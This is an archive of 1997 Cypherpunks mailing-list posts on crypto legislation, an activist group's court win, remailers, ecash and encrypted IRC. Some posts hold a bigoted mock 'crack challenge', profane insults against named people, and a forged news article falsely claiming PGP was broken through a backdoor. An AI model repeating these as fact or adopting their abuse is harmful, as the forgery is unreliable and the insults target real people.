   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ryan Anderson <randerso@ece.eng.wayne.edu>
Date: Sat, 21 Jun 1997 10:53:31 +0800
To: Greg Broiles <gbroiles@netbox.com>
Subject: Re: New Laws in Oregon - "Land of the Legal betatest"
In-Reply-To: <3.0.2.32.19970620170015.00950c20@mail.io.com>
Message-ID: <Pine.GSO.3.95.970620224155.20941B-100000@ece>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 20 Jun 1997, Greg Broiles wrote:

> I suggest adopting two very popular memes to reach this goal - three
> strikes term limits. A legislator who votes for three different laws which
> are eventually struck down as unconstitutional shall be removed from
> office, and unable to serve in the legislature again for at least 25 years.
> 
> Perhaps first offenders can be offered the opportunity to participate in a
> diversion program, whereby they're forced to [re]take classes in
> constitutional law and civics, and if they succesfully complete the program
> and don't reoffend within one year, the first violation will be ignored. 

How do you propose to deal with such things as the Telecommunications Act
of 1996 (which incidently included the CDA)?   I can see a problem where
one sentence or clause gets thrown out of a major bill (say a compromise
budget, that someone screwed up one minor ammendment), and if you have
that happen 3 times in 6 years, you've lost 90% of your senators!  I'm not
saying that your idea isn't without merit, just that it's got a few
problems that strike me as somewhat major..

-----------------------------------------------------------------------
Ryan Anderson - <Pug Majere>     "Who knows, even the horse might sing" 
Wayne State University - CULMA   "May you live in interesting times.."
randerso@ece.eng.wayne.edu                        Ohio = VYI of the USA 
PGP Fingerprint - 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
-----------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Robert A. Costner" <pooh@efga.org>
Date: Sat, 21 Jun 1997 11:42:22 +0800
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: [EFGA] WE won our court case!! (fwd)
In-Reply-To: <Pine.LNX.3.94.970620151844.2244J-100000@neptune.chem.uga.e du>
Message-ID: <3.0.2.32.19970620231443.037409d4@mail.atl.bellsouth.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 04:57 PM 6/20/97 -0700, Bill Stewart wrote:
>>From: "Robert A. Costner" <pooh@efga.org>
>>To: action@efga.org
>>Subject: [EFGA] WE won our court case!!
>>
>>EFGA was granted a preliminary injunction in our court case 
>>against the state of Georgia.  Details and press release to follow.
>
>Yee-hah!  If you ignore CONgress, we've had a good week, between
>this court and the New York CDA courts doing the right thing
>and the DES crack finishing.
>
>>Let's meet somewhere tonight to celebrate!
>Obviously y'all should meet in the Atlanta Underground, wearing masks :-)
>(though I won't be there, since it's a bit far from the West Coast...)

I find messages like this to be interesting.  I assume that there is some 
void in the souls of some that cannot be filled and they look elsewhere for 
that spark that will bring them what they are looking for.  I regret that 
when they look to me, they do not find it.  That I am not the answer does not 
surprise me.  That anyone would think I might be the answer is what is 
surprising.

What is EFGA?  It is an unfunded group of Georgia based internet users who 
have an interest in privacy, free speech, and the free use of the internet.  
For about six months or so, we grumbled about how bad things were.  Then, a 
few of us got the idea that if only we tried to change something, we just 
might do it.  Eighteen months later, we won a case in federal court against 
the state of Georgia.

"Yee-ha"?  Is this meant to be a derisive comment?  No money.  No legal 
training.  Not a lawyer to support us.  What were we to do?  We went to the 
ACLU and they told us the case had no standing - they couldn't help us with 
the Georgia law.  We got no better treatment from EFF.

This message was not sent to this list - cyberpunks or remailer operators.  
It was only sent to an internal EFGA list of people who made a claim that 
they wanted to find out more about EFGA.

Me?  I'm a software developer.  I don't work for EFGA.  I just founded the 
group, and participate in it's running and policy.  No one works for EFGA.  
As I said we are unfunded. We have no offices, we have no staff.

Obviously this is a victory for free speech.  This is grassroots activism.  
This email message I see is not unusual.  Why do so many people who would 
presumably be on the same side as EFGA and myself do what is apparently 
trying to pick at us?

What is the difference between someone in EFGA and someone else on this list? 
 If I can read the federal register when I get home from work and call up the 
Social Security Administration and ask to speak on a panel they are having, 
then anyone can.  If a group of people with no financial or legal resources 
can call themselves EFGA and sue the state, then why can't someone else?

Yee-ha?  Meet in Underground Atlanta wearing masks?  What kind of comments 
are these?  I spent gasoline, time, and three dollars for parking today to 
meet with the CIO of Georgia to speak with him about PGP & encryption.  He 
met with me because I called him on the phone and asked.  What are you saying 
here?  Are you suggesting that change is wrong?  Are you, like others on this 
list implying that you can't afford the three dollars or you just don't know 
how to dial the phone?

I didn't post the original message here.  If you would like to trade insults, 
I'll be happy to do so with you.  I'd rather just go up to D.C. on a cheap 
flight and sit in a congressman's office for 45 minutes until a staffer can 
speak with me.

Reasonable men adapt to match the world around them.  Unreasonable men try to 
adapt the world to themselves.  Therefore, only unreasonable men bring about 
change in the world.  I may be unreasonable, but I'm not pathetic.


-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQBVAwUBM6tHFkGpGhRXg5NZAQEyigIAiYVY9kTroAD6Ci4k8plGLBw172HmnzfB
snkzbOpnhThf8FokELwXgxgdM7ixJDweKuAICBITY8iozQfVWKUcOQ==
=pRgU
-----END PGP SIGNATURE-----

  -- Robert Costner                  Phone: (770) 512-8746
     Electronic Frontiers Georgia    mailto:pooh@efga.org  
     http://www.efga.org/            run PGP 5.0 for my public key





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 3umoelle@informatik.uni-hamburg.de (Ulf =?iso-8859-1?Q?M=F6ller?=)
Date: Sat, 21 Jun 1997 06:07:03 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Recipient Anonymity
In-Reply-To: <199706200219.EAA06517@basement.replay.com>
Message-ID: <m0wfBa8-0003b9C@ulf.mali.sub.org>
MIME-Version: 1.0
Content-Type: text/plain



Anonymous wrote:

>Okay.  Let's suppose that there are 10,000 messages (more realistic for a
>large remailer i think)  And I am going to spread it over five servers,
>And I use a 32-bit hash function (one in four billion chance I get someone
>else's message)

[...]

>Finally, I get back five 20K messages from each of the five servers.

You only need to download the XOR of the five messages. OTOH, you
should not leak the information that there is exactly one message
for you.

>So that's a total of 80K to download the IDs/recipients lists, 6.25K to
>upload the requests, and 100K to download the message pieces, to read my
>20K email.  I guess that could work.

It's way better than 200,000K for the complete pool...





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Pearl Harbor"<ph@dev.null>
Date: Sat, 21 Jun 1997 14:26:20 +0800
To: cypherpunks@toad.com
Subject: PGP Crack Challenge Ciphertext
Message-ID: <199706210559.XAA18550@wombat.sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

 Below is the encrypted text of the "hidejews.asc" file which
must be decrypted in order to meet the "PGP Crack Challenge"
sponsored by Pearl Harbor Computers.
 In order to meet the terms of the contest, the winner must
post the decrypted text to the cypherpunks list, signed with
their secret key.

  Please note that in order to ensure the fairness and integrity
of the "PGP Crack Challenge" that the secret key used to encrypt
the message will be placed in escrow with a Trusted Third Party.
The person chosen for this honor is a respected member of the
cypherpunk list, Alec McCrackin.

- -----BEGIN PGP MESSAGE-----
Version: PGP for Personal Privacy 5.0
MessageID: qoLXESdTeOgwO9d+ih1SNm28wJzD5AZ0

hQEMAzxR/vV9bQ8hAQf/TAnNvPRMxYwpv6M9H4YF2h01KMjGYx5Fn8pvHtgy1KiN
lvT0GFq7h36g2YncKjRKVkU9RwrOBaGCN9iwslLpuomMgFMBfwhHqyWCchzYUAVg
B0oHnfyKM7EIaOgPRZwhuEwmWpvMOOTqltfKKtMZ08A5swFjcHa1c5+BapoI3nah
cAXeMXYuCWwFQPDPYywpKNtHyp9D4KIjKkoWTUcC3p3u+dOyao2ZSO1CzVO+CuNf
p5SO2eDb9Jqa7/ekIMS3seaH7aYzmZ9QS51YXoLUhfAdtS9tg1Zh7t6qgWd77qgp
7qtW9x3bfhKrL+xp6OhxeI/6I6y6LP/4fsD2ZGFHQaUCov1zaoBOTgvLY0ZypQsk
ElxQFRYVId6rvLTODgi7MfkxXhl6l9hR4zkVAxx5vgjJYd2n14SW31Ex3lnqFxkR
S/IvpxfIUwtbe7wPKd0Xofymn30LDVn7ziUcSlFJQhvOiyNxBBC2irPXGH56Sjfc
vUnz3j8adPfr2Ao+NGH4ignpap2D0KhaVHc0O5Ja/QsOIiuwj1JlEjB9GT8tEiqz
f2oOiatGlEcGD9ncxoVp3L23sOEHs/0iDfTTsnVAni+BtckL9zIXbw+B/uwsthp0
sm2AHgBikLL/UtqSQbD1vtZ1KlTDf0nSl3IsmpfUw06Ve8gyzlgK31YAsjCmwtRw
vULz557cOkwcNocJxSPhskMYRcR7llkl+HT+nysKUMXhibL4FBZFjcgYvDPFbwHl
bpmnoNdcFT+8TxmrfuYYthPxys4YhjQHxjBKL2T7yaHv+IzONAD3lVtxGCptFCKp
I15FuEvPZuwpI2h37FXu2ju3QgaV+jul3MqXiz3Trgm3y6GUg5/U72dVK3ncVbbQ
7pzExgFMYNa5jG9qrlPJIlXzwOsy1bUSi8A1qUxv+R8zp8BPneL8slR64lE5WlLz
LXKPVIczjz2AcNAYAD4cRj1brG3E0a4T14Djm55UUaQLpKnZDcTj91axug7Tl8SV
Gs/bWx/CzoJcvZA+pwHrHvbOtNo2UwlMB8c5bJmKFneIze+cQuw235nR3gLhu1aW
+JzME6I5vbqXNBCsxMCK5mY+LtYscF1egmCndp1QiVDU1OadYvAWFPeuGyEUST8Z
0CeHkqgXMjpAkbVCgLDhHkWbsZYysET4Kk/K8QFaVz3xkFEiiB9pXrOgekoE7ceg
l46cemnO7Fyu1G+shn6bdVtFqkvtreqgoOeZ3DrnkE+spa6X
=WRL+
- -----END PGP MESSAGE-----
-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQEVAwUBM6raTjxR/vV9bQ8hAQEBVAf7BWAr9mJb4kY1iVJiGB55muBfWgSkT6cS
oGyNnpWeqIkiOqR29SZYecaz1ve9oEUMXJoP9Si1vvg0qIFS+ZZKFxRQuhk8owxU
UFmRf8gaq+ovvQdGIWgfTAFnzYfTOJSh8LpmgNoAeVL5Q5/KAmG4qqOepJyzenkF
NneOKcozz/eDWtizzur1jOLutTPTUjJX9alyOa3wzh0hahWVZySmYekqFt7H3bwa
KPdX9qj7I7Skm/nw+kKZOMjxbWtXzL5uBfDkboC2QmIZJcFy3Bwlrbn4rJfic+iw
JMy3S8hxvKuQeud+5PCFnyIzIGROaMj4cD/CgZfRDOorD8V1O5iK7g==
=2pkA
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sat, 21 Jun 1997 06:17:40 +0800
To: cypherpunks@cyberpass.net
Subject: It's not over
Message-ID: <199706202210.AAA28568@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Let's cut all the doom and gloom here.  The bill isn't passed yet.  It's
got to go through at least one and possibly two more committees before
it reaches the senate floor, where we'll have another chance to defeat it.

Even then the house has to pass similar legislation.  That will be yet another
chance.

When Clipper was proposed, a wave of anger and opposition swept forth.
The same thing needs to happen now.  This fatalism is self defeating.

Either you're part of the solution or you're part of the problem.  People who
say there's no use fighting, who give up, who oppose the efforts of the
crypto lobbying groups in the name of ideological purity, are not part of
the solution.  They have no right to complain if this law passes.  By
sitting aside and carping at the efforts of those who are trying to stop this
kind of legislation, they are only helping to bring it about.

There is no reason this new bill should be any more acceptable or more
successful than Clipper was.  We only have to fight it.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: AlecMcCrackin<camcc@abraxis.com>
Date: Sat, 21 Jun 1997 14:43:51 +0800
To: cypherpunks@toad.com
Subject: PGP Crack Solution
Message-ID: <199706210621.AAA20473@wombat.sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Solution to Pearl Harbor Computer's
-----------------------------------
     "PGP Crack Challenge"
     ---------------------

  "The cypherpunks aren't hiding Jews."
  "They are hiding that murdering Armenian bastard, Ray Arachelian,
and cocksucker John <spit> Gilmore <fart>."

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013,
14.4Kbps

       ~~~~~~~~~~~~       ~~~~~~~~~~~      ~~~~~~~~~~    ~~~~~~~~~

"I think we should all send Pearl Harbor Computers back 10 copies of
this"

---
Graham-John Bullers



-----BEGIN PGP SIGNATURE-----
Version: 2.6.3ia
Charset: cp850

iQCVAgUBM6rHzSKJGkNBIH7lAQGxzgP+MQuVm9DWABUxhp0xVp+5L7qm9JlCZ/GU
e2Yktx4n8ouRfUpf5WK9uxCGnKd5S1sv38yrJy8sMbQkN1uY8nJYevmwb/6oH1+n
cbXJccanXFtAe4Qt6c6bHKJorU+cjk5K2Xl3c/w3PJBgox2r2sAhC98oGE7l4i71
uiRNsXsbbbg=
=OIRG
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Robert A. Costner" <pooh@efga.org>
Date: Sat, 21 Jun 1997 13:12:16 +0800
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: [EFGA] WE won our court case!! (fwd)
In-Reply-To: <3.0.2.32.19970620231443.037409d4@mail.atl.bellsouth.net>
Message-ID: <3.0.2.32.19970621004346.0352fafc@mail.atl.bellsouth.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 09:05 PM 6/20/97 -0700, Bill Stewart wrote:
>Well, in some places, it's an expression of excitement, and it was intended
>as such here.  I guess some things don't translate well to ASCII,
>given that you seem to think I was picking on you?
>
>The Georgia law was a bad one, and needed overturning.
>I hadn't realized you were running EFGA on that small a scale, 
>so I'm even more impressed that you succeeded.

OK.  I misread your intentions.  It's just my first couple of postings on 
cyberpunks were not received well.  I finally attributed it to the apparent 
mistaken belief that EFGA was something more than smoke and mirrors.  Of 
course some of it is the fact that I am still learning about this stuff.

Remailers is a very appropriate mail group.  Our press release stated that 
with the law out of the way, we can now set up an anonymous remailer, which 
we have done.  (anon.efga.org)  EFGA has just won a censorship lawsuit, set 
up a PGP keyserver, started a remailer and nym server, and have a lot of 
things on our plate.  I almost long for the days when we sat around 
complaining how powerless we were.  Now that the people in charge are 
listening to us, I'm not sure we know the answers any longer.

The battle against this law was a difficult one.  At first we had the 
standing issue.  Since it was such a ridiculous law, and for various other 
reasons, we were told we would never get into court with it.  Though almost a 
year has passed since we filed the case, I was still wondering if the judge 
would throw this out as of yesterday.

When EFGA was first formed, we had public meetings at the local ACLU offices. 
 We had hoped they would mount a legal challenge to the law for us.  I don't 
have the exact numbers, but the local ACLU gets about 300 requests per month, 
and only is able to work on about three cases each month.  Ours just wasn't 
strong enough according to them.  Mitchell Kaye, one of the co-plaintiffs in 
the suit is an elected Georgia House of Representatives member who had spoken 
out against the law, so we invited him to a meeting at Denny's.

Mitchell did some checking and found an attorney who would talk to us.  We 
had a series of meetings, and became the first group to sign on as a 
plaintiff.  In fact, we incorporated just so we could become a plaintiff.  
Also, after Scott McClain of Bondurant, Mixson, and Elmore had done some pro 
bono work, we were able to take this back to the ACLU and get them involved.  
Later the national ACLU got involved, then the lawsuit finally got real.

We really had some good breaks along the way, but we put a lot of hard work 
into it as well.  If the ACLU hadn't been willing to take it on and 
underwrite the cost, we never would have gotten anything done.

Now we have taken on the task of pushing strong crypto and privacy on the 
State.  I've demo'ed PGP at various places and we have some gov't agencies 
thinking about using PGP as a cost savings business tool.  If we can't win 
the crypto debate in congress, will win by going in through the back door.


-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQBVAwUBM6tb/kGpGhRXg5NZAQHGgwIAyWISQmiEgpHcQpDhFKaaXOgLqkHIOAaQ
F+0VirHxCHsffGqroApOS8+xMPedoQUEc9QMAs+A7+WixWOXFjNbVQ==
=mGcE
-----END PGP SIGNATURE-----

  -- Robert Costner                  Phone: (770) 512-8746
     Electronic Frontiers Georgia    mailto:pooh@efga.org  
     http://www.efga.org/            run PGP 5.0 for my public key





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: DeclanMcCullagh<declan@well.cum>
Date: Sat, 21 Jun 1997 15:18:43 +0800
To: cypherpunks@toad.com
Subject: PGP Crack Successful !!!
Message-ID: <199706210655.AAA22599@wombat.sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain



http://pathfinder.cum/netly/forgeries/709PGPCRACK.html

The Netly News
June 22, 1997

2048-bit PGP Cracked!!!
by Declan McCullagh (declan@well.cum)

     In an astounding turn of events, only days after
the DES Challenge lay broken on the floor of crypto
opponents, the crypto community has been rocked by
the breaking of a 2048-bit PGP 5.0 cyphertext that
was posted to the Cypherpunks mailing list by Pearl
Harbor Computers in the "PGP Crack Challenge."

     Alec McCrackin, a Cypherpunk, posted the solution
to the challenge a matter of minutes after the post
containing the cyphertext arrived on the list.
     Although McCrackin was tight-lipped about the means
used to decypher the challenge data, several anonymous
Cypherpunk sources indicated that it has been known for
months that PGP encrypted files could easily be read by
using the backdoor in the Stronghold encryption software
to decipher PGP files.
     "Cypherpunks can't write code." stated a Kook of the
Month winner who prefered to remain anonymous.

     "I posted the solution to the list back in '92." stated
another anonymous Cypherpunk source. "Check the archives."
     The source went on to add that he thought it was very
suspicious that the contest was won by the person acting
as the Trusted Third Party who was holding the secret key
used to encrypt the message in escrow.
     Alec McCrackin, the Trusted Third Party and contest
winner, expressed surprise and dismay that anyone would
raise the question of abuse of authority in the matter.
     "Key escrow was needed in order to meet the legitmate
needs of contest enforcement." McCrackin said. "Without
key escrow, there would be no means to guarantee that
the contest data did not contain child pornography or
drug trafficking information."

     A company spokesman at PGP Inc. stated that the
company did not forsee any major downturn in company 
revenue, since PGP Inc. had recently acquired rights to
a leading source of SpamBot technology.
     Phil Zimmerman, who was forced out of the company
as a condition of the acquisition agreement, said of his
replacement, "Dimitri is a cocksucker."

     A reporter from Markets Magazine claims to have gotten
inside information about the PGP crack, but can't remember
what his source actually said.
     "I do remember his name, though. It was Bob Hettinga."
the reporter stated.

     When asked what import this news had for the Clinton
administration's plans for crypto export policy, a secret
Whithouse source who has had me over for dinner several times
with some of D.C.'s most prominent movers and shakers (and
who lets me drive his Mercedes every time I give him a
favorable mention in an article) said, "To tell the truth,
most of us have been encrypting details of our dirty deals
with PGP, so we may not be around long enough for our views
to matter."

-------------------------
DeclanMcCullagh
Time Ink.
The Nutly News Network
Washington Correspondent
http://netlynews.com/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sat, 21 Jun 1997 16:40:11 +0800
To: Charles Platt <cp@panix.com>
Subject: Re: Extremely Disappointing: Political Cryptography
In-Reply-To: <33A9D7F3.BACEB3DA@healey.com.au>
Message-ID: <3.0.2.32.19970621012312.00767210@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 12:14 AM 6/20/97 -0400, Charles Platt wrote:
>I'm not saying I _want_ an agency making decisions for us; only that it 
>would be slightly less hideously exasperating than our present situation, 
>where technoliterates are being ruled by technoilliterates.

We're far better off without one, for a bunch of reasons.
1) Congress does stupid knee-jerk things without understanding them,
but it only does them when there's a lot of public pressure,
or focused insider pressure, or when its legs itch,
but after it's done it goes off and does stupid knee-jerk things
about some other "problem" that it wants to "help".
Attention Deficit Disorder is your friend, at least when Congress has it.
The only time it does things on a long-term basis are when it really cares;
things like funding the military-industrial-welfare complex
and local pork.  The Internet probably isn't there yet,
even though it's almost as much fun as Dope or Commies to rant about.

2) Bureaucracies, on the other hand, have self-perpetuation as Job 1.
Sure, they may understand their subject matter a bit better, but
Job 1 means continuing to do "useful" things to "help" the country,
most of which are almost by definition bad, and finding ways to
increase their scope of control.  Unlike Congress, whose agenda
depends on which way the wind is blowing, their agenda is fixed.
What they do will not only be bad, but it will be done competently,
which is harder to throw out in court than knee-jerk stupid things.
Furthermore, it will be done quietly, broadly, and not distracted
by the crisis of the week.

>The FCC actually made some halfway decent decisions determining 
>standards in broadcasting, before the agency became terminally 
>incestuous and corrupt.

The FCC was terminally incestuous and corrupt from the beginning.
Its job, done quite well, was to restrict access to the airwaves,
just as the job of the other Roosevelt-era agricultural and
industrial programs was to create and preserve oligarchies in the 
names of "anti-trust" and "consumer protection".
FCC spectrum allocation policies, granting monopoly control of the
"commercial" parts of the spectrum and banning "commercial" speech 
on the "amateur" bands, have not only prevented a free market in
broadcasting, they've severely limited the span of opinions that
they consider to be "in the public interest" and therefore permitted
on the airwaves.

> We might get two or three good years out of a Federal Internet
>Agency, depending who was appointed to run it. 

We did actually get a few good years out of them - the DoD was
running it, and since their objective was to get _their_ job done,
they built a lot of good technology that was different than what the
phone monopolies and IBMs were building.  Yes, there was a political agenda:
you could only use the net for "non-commercial", government-contract-related,
or university purposes, but they fundamentally didn't care as long as you
weren't blatant about it, so the culture could develop in a more balanced
manner, and people could build interesting fun things essentially
un-supervised.

Those days are over, of course, and throwing out the government control
is far from a finished job, especially outside the US, but the free sector
is much larger than the bureaucratic sector, so they can't do much harm.


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bennett_t1@popmail.firn.edu
Date: Sat, 21 Jun 1997 16:05:10 +0800
To: David Downey <digital_matrix@hotmail.com>
Subject: Re: Senate panel nixes ProCODE II, approves McCain-Kerrey bill
In-Reply-To: <199706200615.XAA25232@f10.hotmail.com>
Message-ID: <33AB7EA7.12FC372E@popmail.firn.edu>
MIME-Version: 1.0
Content-Type: text/plain



> Maybe I'm just paranoid, but doesn't this mean that it is now illegal
> to
> use anything over 56 bits in the US, and doesn't this give the US
> Government the unofficial green light to start cracking down on those
> of
> us that use encryption? All they gotta say is that they suspected that
>
> we were dealing in child pornography, based on the fact that they
> monitored encrypted messages leaving from our addresses? It's not that
>
> far of a leap in possibilities after everything else they've done.
> This
> is starting to get scary ladies and gentleman. I use 2048 bit
> encryption, does that make me a porn lover because I use that heavy of
>
> encryption,and encryption period?  I feel some very bad days coming
> down
> the pike. I just hope that we can do something to stem the tide.

I am getting sick of the crap in congress.  May's right, whenever they
want to get what they want, they just blurt out that their opposition
may support kiddie porn.  The only somewhat good measure coming up is
SAFE, but that will most likely be struck down by lawmakers.  After all,
it helps encryption, and that might aid kiddie porn!  Seriously, if the
citizens ever have a civil war, and we win, then Clinton, the senators
opposed to Pro-CODE, and other anti-crypto types should be on trial for
abuse of power, violation of citizens' rights, and high crimes against
the constitution.  I hope it would be public :-)

The government in theory works for US.  So the question is "What the
HELL happened to that?!"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Wayne Clerke" <wclerke@emirates.net.ae>
Date: Sat, 21 Jun 1997 06:23:43 +0800
To: "Bill Stewart" <cypherpunks@toad.com>
Subject: Re: Fw: Advance Bank launches ecash
Message-ID: <199706202212.CAA05166@ns2.emirates.net.ae>
MIME-Version: 1.0
Content-Type: text/plain



>
>>>>>Thank you for being so patient.  ecash is now available from our web
site
>>>>>at:  http//www.advance.com.au/ecash
>
>>Tim May  <tcmay@got.net> wrote:
>>>No mention of "untraceable" or "anonymous" or "Chaum." And no mention
of
>>>"Digicash," except in your (Wayne's) introduction; Digicash is, rightly
or
>>>wrongly, a trademark of the company with the same name.
>
>If there _wasn't_ any mention of those, there certainly is now :-)
>The right-hand frame, after the pictures of PCs and dollar signs and
logos,
>has copyright notices, trademark notice for "ecash", and the addresses
>and URLs for Advance Bank Australia Ltd. and Digicash BV in the
Netherlands.
>
>And the "Support" page has the following URLs:
>   For more ecash info, refer to the DigiCash Web Site:
>     Who are DigiCash?
>     Digital Signatures and Smart Cards
>     Numbers that are money
>

It seems I haven't been paying enough attention lately ... just visited
www.digicash.com and discovered Advance is only one of several new banks
offering (or about to offer ecash).

>
># Thanks;  Bill
># Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
># You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
>#   (If this is a mailing list or news, please Cc: me on replies.
Thanks.)
>

Regards,


Mail: <a href=mailto:wclerke@emirates.net.ae>Wayne Clerke</a>
PGP key ID: AEB2546D FP: D663D11E DA19D74F 5032DC7E E001B702
PGP mail welcome. Voice: +971 506 43 48 53
If you're not living on the edge, you're taking up too much space.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sat, 21 Jun 1997 17:50:03 +0800
To: Robert Hettinga <rah@shipwright.com>
Subject: Re: Party on IRC
In-Reply-To: <v0302093bafd0130a7fac@[139.167.130.247]>
Message-ID: <3.0.2.32.19970621023432.0077a4ac@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



>Robert Hettinga <rah@shipwright.com> writes:
>>Is there an encrypted IRC available?
>>If not, shouldn't there be?
>>Is such a thing even possible?

You'd have to think about what you wanted it to do,
but it should be quite doable.  IRC is normally for sharing
conversations between an amorphous, changing bunch of people,
which isn't really a standard thing to do with crypto.  
But I can see several basic models:
0) Just Speak Finnish :-)
1) Two-person, with Diffie-Hellman key exchange
2) N-person shared-key - you'd probably use RSA to give the session key
to each new participant, or use PGP to do it.
3) N person, one key per sender, shared as above.
4) Ignore the application layer, and build the crypto as an IPsec tunnel.
5) Ignore the IRC protocols, and build a similar conversation server
using web forms and SSL.

Some tools you'd want`for 1-3:
a) Convenient cut&paste between the IRC makes integrating things easier,
such as key exchange, e.g. drop in a PGP message with today's key.

b) The ability to mix encrypted and unencrypted messages, 
so it's easier to do things like join the channel and negotiate keys.

c) A crypto operating mode that doesn't depend on sequence -
probably a line basis is about right.  ECB mode is boring and unsafe,
but you could use a session key (distributed with RSA/DH/etc.) 
to encrypt a per-line nonce key, and encrypt the line with the nonce,
transmitting "encryptednonce, encryptedline" for each line of data.

Perhaps this is less secure (?), but can you do something like
linekey = Hash( Hash(sessionkey, nonce), sessionkey ) 
transmitting "nonce, encryptedline"?  This would let you use a hash
instead of a symmetric crypto for the key on each line,
and might make it more convenient to choose a stream cypher such as RC4/160 
instead of a slower block cypher such as IDEA or DES for the line encryption.



#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sat, 21 Jun 1997 19:04:49 +0800
To: cypherpunks@toad.com
Subject: Re: "Strength of encryption standard proved again"
Message-ID: <199706211040.DAA31004@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May wrote:
> 
>( cryptography@c2.net removed from the distribution list, as I am not a
> subscriber to that list, and Perry has admonished me when I have
> accidentally left his list on the cc: to my messages)

From: sameer <sameer@c2.net>
To: emergent@eval-apply.com (ET)
CC: cryptography@c2.net, cypherpunks@toad.com

  Sameer has his bum-buddy, Perry, censoring c2.net's crypto-propaganda
list in order to reflect favorably on cryptography business interests.
  It seems that this is cheaper than using his legal team to stifle
free speech regarding corporate products, especially his own. 

  Despite the fact that Sameer feels free to spam the cypherpunks list
with self-serving horseshit that he is sending to cryptography@c2.nut,
it seems that he has a deep-rooted fear of his products and motives
being discussed on the c2.net list.
  Perry is a horse's ass who gets offended that people subjected to
cc:'s of the c2.net propoganda machine don't seem to feel it is their
job to perform his censorship for him by deleting sameer's list from
the cc:'d spam their list members send out.

  I would suggest that if Perry wants to act as a censor of free speech
on the internet, that he take responsibility for deleting any messages
that he deems to be beneath the corporate standards of the list that
he censors.
  Of course, he could always automate the list to only allow posts by
subscribers. If the software he uses to run the list doesn't have the
capability to do so then perhaps he could ask the Stronghold programers
to build a back door in the software to allow him to do so.

TruthMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 3umoelle@informatik.uni-hamburg.de (Ulf =?iso-8859-1?Q?M=F6ller?=)
Date: Sat, 21 Jun 1997 10:03:21 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Party on IRC
In-Reply-To: <v0302093bafd0130a7fac@[139.167.130.247]>
Message-ID: <m0wfFHF-0003b9C@ulf.mali.sub.org>
MIME-Version: 1.0
Content-Type: text/plain



Robert Hettinga <rah@shipwright.com> writes:

>Is there an encrypted IRC available?
>
>If not, shouldn't there be?
>
>Is such a thing even possible?

Only ROT13, it seems. But it it certainly possible for IRC clients
that are available as source code.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: janke@unixg.ubc.ca (Leonard Janke)
Date: Sat, 21 Jun 1997 21:41:59 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Party on IRC
In-Reply-To: <v0302093bafd0130a7fac@[139.167.130.247]>
Message-ID: <m2vi38ozit.fsf@clouds.heaven.org>
MIME-Version: 1.0
Content-Type: text/plain




ftp://ftp.csua.berkeley.edu/pub/cypherpunks/applications/circ.tar.gz ?

Didn't look into it too closely, but I noticed it doesn't do 
authentication.

Leonard





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Sat, 21 Jun 1997 19:08:46 +0800
